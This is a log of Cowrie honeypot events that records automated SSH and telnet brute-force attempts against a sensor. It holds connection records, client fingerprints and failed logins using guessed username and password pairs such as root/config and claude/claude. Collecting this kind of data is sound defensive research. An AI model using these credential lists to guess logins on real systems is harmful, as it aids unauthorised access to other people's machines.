{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:17.910995Z","src_ip":"80.225.252.182","session":"a6521fbf9c00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.36502742767334,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:18.192200Z","src_ip":"192.119.13.58","session":"678c169b7ff0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"config","message":"login attempt [root/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:18.808577Z","src_ip":"80.225.252.182","session":"a6521fbf9c00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":49168,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ace7df3d6e8","protocol":"ssh","message":"New connection: 157.230.190.155:49168 (10.17.0.5:22) [session: 9ace7df3d6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:19.069141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:19.074497Z","src_ip":"157.230.190.155","session":"9ace7df3d6e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:19.079370Z","src_ip":"157.230.190.155","session":"9ace7df3d6e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flash","message":"login attempt [root/flash] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:19.131298Z","src_ip":"157.230.190.155","session":"9ace7df3d6e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:20.008346Z","src_ip":"80.225.252.182","session":"a6521fbf9c00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:20.140733Z","src_ip":"157.230.190.155","session":"9ace7df3d6e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":56098,"dst_ip":"10.17.0.5","dst_port":22,"session":"82e1d9d3b707","protocol":"ssh","message":"New connection: 89.127.197.59:56098 (10.17.0.5:22) [session: 82e1d9d3b707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:24.357405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:24.365360Z","src_ip":"89.127.197.59","session":"82e1d9d3b707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:24.499346Z","src_ip":"89.127.197.59","session":"82e1d9d3b707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saitoh","message":"login attempt [root/saitoh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:25.021516Z","src_ip":"89.127.197.59","session":"82e1d9d3b707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:26.153142Z","src_ip":"89.127.197.59","session":"82e1d9d3b707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":47740,"dst_ip":"10.17.0.5","dst_port":22,"session":"e909fe4ae2bd","protocol":"ssh","message":"New connection: 45.119.212.99:47740 (10.17.0.5:22) [session: e909fe4ae2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:31.612303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:31.617399Z","src_ip":"45.119.212.99","session":"e909fe4ae2bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:31.884414Z","src_ip":"45.119.212.99","session":"e909fe4ae2bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Orange@123","message":"login attempt [root/Orange@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:33.121827Z","src_ip":"45.119.212.99","session":"e909fe4ae2bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:34.392367Z","src_ip":"45.119.212.99","session":"e909fe4ae2bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":31714,"dst_ip":"10.17.0.5","dst_port":22,"session":"fce1284704dc","protocol":"ssh","message":"New connection: 2.57.121.112:31714 (10.17.0.5:22) [session: fce1284704dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:41.118033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:41.123133Z","src_ip":"2.57.121.112","session":"fce1284704dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:41.230752Z","src_ip":"2.57.121.112","session":"fce1284704dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300980","message":"login attempt [admin/300980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:41.720293Z","src_ip":"2.57.121.112","session":"fce1284704dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":38678,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa548d6acf54","protocol":"ssh","message":"New connection: 103.77.175.15:38678 (159.203.135.109:22) [session: aa548d6acf54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:42.381596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:42.385955Z","src_ip":"103.77.175.15","session":"aa548d6acf54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:42.641334Z","src_ip":"103.77.175.15","session":"aa548d6acf54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300786","message":"login attempt [admin/300786] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:42.827250Z","src_ip":"2.57.121.112","session":"fce1284704dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kostya","message":"login attempt [root/kostya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:43.412515Z","src_ip":"103.77.175.15","session":"aa548d6acf54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300781","message":"login attempt [admin/300781] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:43.934067Z","src_ip":"2.57.121.112","session":"fce1284704dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:44.669571Z","src_ip":"103.77.175.15","session":"aa548d6acf54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30071975","message":"login attempt [admin/30071975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:45.040925Z","src_ip":"2.57.121.112","session":"fce1284704dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300683","message":"login attempt [admin/300683] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:46.149539Z","src_ip":"2.57.121.112","session":"fce1284704dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:47.261600Z","src_ip":"2.57.121.112","session":"fce1284704dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":46840,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d74a21c2844","protocol":"ssh","message":"New connection: 189.203.163.10:46840 (10.17.0.5:22) [session: 6d74a21c2844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:47.644094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:47.649006Z","src_ip":"189.203.163.10","session":"6d74a21c2844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:47.712391Z","src_ip":"189.203.163.10","session":"6d74a21c2844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:47.993462Z","src_ip":"189.203.163.10","session":"6d74a21c2844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:49.061208Z","src_ip":"189.203.163.10","session":"6d74a21c2844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":39284,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f2f906de155","protocol":"ssh","message":"New connection: 43.134.71.92:39284 (10.17.0.5:22) [session: 8f2f906de155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:52.613459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:52.619416Z","src_ip":"43.134.71.92","session":"8f2f906de155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:52.864696Z","src_ip":"43.134.71.92","session":"8f2f906de155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:53.878790Z","src_ip":"43.134.71.92","session":"8f2f906de155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:55.127207Z","src_ip":"43.134.71.92","session":"8f2f906de155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":34238,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfa5ded2f8ca","protocol":"ssh","message":"New connection: 80.94.92.184:34238 (159.203.135.109:22) [session: dfa5ded2f8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:20.367226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:20.816375Z","src_ip":"80.94.92.184","session":"dfa5ded2f8ca","protocol":"ssh"}
